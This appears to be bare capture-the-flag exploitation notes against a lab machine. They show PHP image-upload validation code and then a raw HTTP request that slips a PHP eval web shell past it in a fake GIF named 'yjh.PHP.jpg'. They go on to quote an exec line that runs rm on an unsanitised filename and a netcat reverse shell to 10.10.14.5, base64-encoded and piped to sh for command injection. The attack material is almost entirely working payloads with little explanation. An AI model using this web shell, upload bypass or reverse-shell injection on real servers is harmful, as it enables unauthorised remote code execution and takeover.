if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform();
}

list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

function file_mime_type($file) {
  $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
  if (function_exists('finfo_file')) {
    $finfo = finfo_open(FILEINFO_MIME);
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
    {
      $mime = @finfo_file($finfo, $file['tmp_name']);
      finfo_close($finfo);
      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
        $file_type = $matches[1];
        return $file_type;
      }
    }
  }
  if (function_exists('mime_content_type'))
  {
    $file_type = @mime_content_type($file['tmp_name']);
    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
    {
      return $file_type;
    }
  }
  return $file['type'];
}

function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }  
}

POST /upload.php HTTP/1.1

Host: 10.10.10.146

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------148831024038590541452420417381

Content-Length: 379

Origin: http://10.10.10.146

Connection: close

Referer: http://10.10.10.146/upload.php

Upgrade-Insecure-Requests: 1



-----------------------------148831024038590541452420417381

Content-Disposition: form-data; name="myFile"; filename="yjh.PHP.jpg"

Content-Type: image/jpeg



GIF89a

<?php @eval($_POST['shell']);?>

-----------------------------148831024038590541452420417381

Content-Disposition: form-data; name="submit"



go!

-----------------------------148831024038590541452420417381--

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

echo nc -e /bin/bash 10.10.14.5 1234 | base64

`bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjUgMTIzNAo=| base64 -d | sh`